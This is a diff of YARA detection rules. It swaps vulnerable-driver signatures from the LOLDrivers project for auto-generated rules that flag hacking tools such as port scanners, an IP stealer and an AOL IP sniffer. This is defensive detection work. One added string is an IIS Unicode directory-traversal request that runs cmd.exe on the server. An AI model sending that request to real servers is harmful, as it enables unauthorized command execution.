+		$s0 = "DarkKnight"
+		$s9 = "IPStealerUtilities"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_EBE2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Superscan4
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "6d854b08-4675-53c5-9d7f-753c94310df0"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file SuperScan4.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "bd353382-ffa2-56c5-b842-1ffc94d6849e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5141-L5161"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ebe2e9ec6d5d94c2d58fbcc9d78c5f0ee7a2f2c1aed6d1b309f383186d11dfa3"
-		logic_hash = "4f671c0023ef9bbb82a3fdd328709bb9c2a579fbef7f0a348b01fd4188ded3d4"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L274-L287"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "78f76428ede30e555044b83c47bc86f0"
+		logic_hash = "7f76c59e85efac5c150f783606e2a9bdc8724c6afd9f9c6405d63f7467c72752"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
+		$s2 = " td class=\"summO1\">"
+		$s6 = "REM'EBAqRISE"
+		$s7 = "CorExitProcess'msc#e"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_A334 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Portracer
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
-		author = "Florian Roth"
-		id = "50cf8320-c182-5f59-b2a7-750c618312bf"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file PortRacer.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "54717938-2f4c-5442-b0ad-40b9acd1101a"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5164-L5185"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a334bdf0c0ab07803380eb6ef83eefe7c147d6962595dd9c943a6a76f2200b0d"
-		hash = "000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b"
-		logic_hash = "881222a52349787251b723640a42b468e4d3f8ee614329de61d7816b00beb9ff"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L288-L300"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2834a872a0a8da5b1be5db65dfdef388"
+		logic_hash = "f6ad85a8970b10e25becca76e17bff30cbc787ed45f331af4ecf9563ff11b65d"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }
+		$s0 = "Auto Scroll BOTH Text Boxes"
+		$s4 = "Start/Stop Portscanning"
+		$s6 = "Auto Save LogFile by pressing STOP"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_1C12 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Scanarator
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "14390895-6fae-5e00-9d0d-76347782873c"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file scanarator.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "dfc3ff29-03b4-58ca-bfe0-c6888fddab67"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5188-L5208"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1c1251784e6f61525d0082882a969cb8a0c5d5359be22f5a73e3b0cd38b51687"
-		logic_hash = "d8f6326a34caddc2c91ac47e57ed022086bea7122203f166cd5e3176c369a3e4"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L302-L312"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "848bd5a518e0b6c05bd29aceb8536c46"
+		logic_hash = "9400435470c26245cd814e1e39f275eb22566d66d1a72d4f3e618a6ad11bc8d9"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003100320034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s4 = "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_4BC0 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Aolipsniffer
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "da911735-e7b3-5721-8254-958f25b0efa1"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file aolipsniffer.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "f7cc0f31-6ba4-504b-82de-0334257b8a95"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5211-L5231"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4bc0921ffd4acc865525d3faf98961e8decc5aec4974552cbbf2ae8d5a569de4"
-		logic_hash = "1f138a336f979f9a4a75796cdd6cab5716a17f1ded02350db64a6ec618c7a1dd"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L314-L332"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "51565754ea43d2d57b712d9f0a3e62b8"
+		logic_hash = "e627b8ea85e4325714c98e93ad6147adfa600af548a80dce8548b7f5743733b5"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e00320030002e0030002e0031003000310032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e00320030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "C:\\Program Files\\Microsoft Visual Studio\\VB98\\VB6.OLB"
+		$s1 = "dwGetAddressForObject"
+		$s2 = "Color Transfer Settings"
+		$s3 = "FX Global Lighting Angle"
+		$s4 = "Version compatibility info"
+		$s5 = "New Windows Thumbnail"
+		$s6 = "Layer ID Generator Base"
+		$s7 = "Color Halftone Settings"
+		$s8 = "C:\\WINDOWS\\SYSTEM\\MSWINSCK.oca"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Iobitinformationtechnology_Iobitunlockersys_Unlocker_F85C : FILE
+import "pe"
+
+rule SIGNATURE_BASE__Bitchin_Threads_
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IObitUnlocker.sys"
-		author = "Florian Roth"
-		id = "a9cbfdc3-6c84-5c6f-98a9-8cf77cc32d9d"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file =Bitchin Threads=.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "3a51e76c-b360-5f10-961c-ecc3ea3fa3c9"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5234-L5254"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f85cca4badff17d1aa90752153ccec77a68ad282b69e3985fdc4743eaea85004"
-		logic_hash = "1a7df58e346f6ae2224163302bbc14815c6d612c1414b59663d3d9f730925499"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L334-L345"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7491b138c1ee5a0d9d141fbfd1f0071b"
+		logic_hash = "f43fec37d9dc668b562838465e5696e502c638b207e7af6a77fac5a8b00e92a8"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0055006e006c006f0063006b006500720020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f00620069007400200049006e0066006f0072006d006100740069006f006e00200054006500630068006e006f006c006f00670079 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0055006e006c006f0063006b00650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "DarKPaiN"
+		$s1 = "=BITCHIN THREADS"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_93D8 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Cgis4_Cgis4
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
-		author = "Florian Roth"
-		id = "d300e7a0-b24b-5d52-b850-0aab145b33c5"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file cgis4.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "98fbf445-b7a5-58fa-8f06-34be7321e2eb"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5257-L5277"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "93d873cdf23d5edc622b74f9544cac7fe247d7a68e1e2a7bf2879fad97a3ae63"
-		logic_hash = "cf0c6c37c0ffdc3b9de4a2756f1eae8dde74dad69e5e1a98e0593d64ea0d701f"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L347-L362"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d658dad1cd759d7f7d67da010e47ca23"
+		logic_hash = "2cf3fc6447323cbefe5f5ad02271eeb4c271bb9784d2c29030858542a43fbb04"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310037002e002000520061007a00650072002c00200049006e0063002e }
+		$s0 = ")PuMB_syJ"
+		$s1 = "&,fARW>yR"
+		$s2 = "m3hm3t_rullaz"
+		$s3 = "7Projectc1"
+		$s4 = "Ten-GGl\""
+		$s5 = "/Moziqlxa"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Wisecleanercom_Wiseunlosys_Wiseunlo_358A : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Portscan
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WiseUnlo.sys"
-		author = "Florian Roth"
-		id = "78b84e8a-1f92-5954-a1da-19d7208279db"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file portscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "967d6e3b-ae0d-5f93-a20d-742fc010608d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5280-L5300"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "358ac54be252673841a1d65bfc2fb6d549c1a4c877fa7f5e1bfa188f30375d69"
-		logic_hash = "b2d462b62be6d3300a514d6d21dad64162bb43ae7775730d65068ea180f3115f"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L364-L375"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a8bfdb2a925e89a281956b1e3bb32348"
+		logic_hash = "d93b54ffc7416b5354304daf156908f11d7e320a91bd936e397a15ede63caae3"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069007300650055006e006c006f }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069007300650043006c00650061006e00650072002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069007300650055006e006c006f }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000310035 }
+		$s5 = "0    :SCAN BEGUN ON PORT:"
+		$s6 = "0    :PORTSCAN READY."
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_9B6A : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Proport_Zip_Folder_Proport
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "8fc2f891-9898-551b-8a21-5222af319764"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file ProPort.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "cd611f6c-42ed-5cd3-a6ab-7e0970925e61"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5303-L5323"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4"
-		logic_hash = "beca5e85d2b29d6a37e9d783facf37bb375095ae5d47a8a2eff663afbc22ffc3"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L377-L394"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c1937a86939d4d12d10fc44b7ab9ab27"
+		logic_hash = "0ee2ffc5ed243d170b8013b3a164a3719f43bd473f4af7e1a2697d88a298fe9f"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00320037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00320037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310039 }
+		$s0 = "Corrupt Data!"
+		$s1 = "K4p~omkIz"
+		$s2 = "DllTrojanScan"
+		$s3 = "GetDllInfo"
+		$s4 = "Compressed by Petite (c)1999 Ian Luck."
+		$s5 = "GetFileCRC32"
+		$s6 = "GetTrojanNumber"
+		$s7 = "TFAKAbout"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_7D43 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Stealthwasp_S_Basic_Portscanner_V1_2
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "6c041a1a-b6f2-50f1-a079-1a4abc0c1f37"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file StealthWasp's Basic PortScanner v1.2.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "7f706186-f2e2-5d4d-951a-2ec8fc757cec"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5326-L5346"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7d43769b353d63093228a59eb19bba87ce6b552d7e1a99bf34a54eee641aa0ea"
-		logic_hash = "5c3addc4d27338e1ed76b65327198acef97969b13e6ac8284153fcc1fd992b4d"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L396-L407"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7c0f2cab134534cd35964fe4c6a1ff00"
+		logic_hash = "b01c165b5e5be3ba6905e8bc44a14c3d7195effd058e4c0c31678777d19db8b5"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310034002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s1 = "Basic PortScanner"
+		$s6 = "Now scanning port:"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_ADC1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bluesportscan
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "77819373-6f49-56bc-8636-d25cd75491b7"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file BluesPortScan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "4bcb8b7c-5e22-5496-9a29-66e85e3c3395"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5349-L5369"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "adc10de960f40fa9f6e28449748250fa9ddfd331115b77a79809a50c606753ee"
-		logic_hash = "896055705d276e007082616e944be968d90087798e3c4cfcc35c3ecaf3a781b0"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L409-L420"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6292f5fc737511f91af5e35643fc9eef"
